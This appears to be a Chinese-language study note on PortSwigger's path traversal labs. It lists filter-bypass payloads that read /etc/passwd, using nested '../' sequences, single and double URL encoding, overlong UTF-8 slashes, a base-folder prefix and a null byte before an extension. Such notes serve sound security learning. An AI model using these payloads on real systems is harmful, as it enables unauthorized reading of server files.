PortSwigger - 路径遍历
在 Windows 上, 和../
都是..\
有效的目录遍历序列。
绝对路径绕过
这个就不说了,简单得很。
嵌套遍历绕过
后端非递归地将 ../
删除后,可以绕过
比如:
/image?filename=..././..././..././..././..././etc/passwd
/image?filename=....//....//....//....//....//etc/passwd
/image?filename=....\/....\/....\/....\/etc/passwd
使用编码绕过
可以对字符进行 URL 编码,甚至双重 URL 编码来绕过 ../
被清理
比如:
/image?filename=..%252f..%252f..%252f..%252fetc/passwd
/image?filename=%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwd
/image?filename=%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fetc/passwd
/image?filename=..%c0%af..%c0%af..%c0%af..%c0%afetc/passwd
/image?filename=..%ef%bc%8f..%ef%bc%8f..%ef%bc%8f..%ef%bc%8fetc/passwd
验证路径开头
应用程序可能需要用户提供的文件名以预期的基本文件夹开头,例如/var/www/images
在这种情况下,可能可以包含所需的基本文件夹,后跟适当的遍历序列。例如:
filename=/var/www/images/../../../etc/passwd
空字节绕过文件扩展名验证
应用程序可能需要用户提供的文件名以预期的文件扩展名结尾,例如.png
. 在这种情况下,可以使用空字节在所需扩展名之前有效地终止文件路径。例如:
/image?filename=../../../../etc/passwd%00.png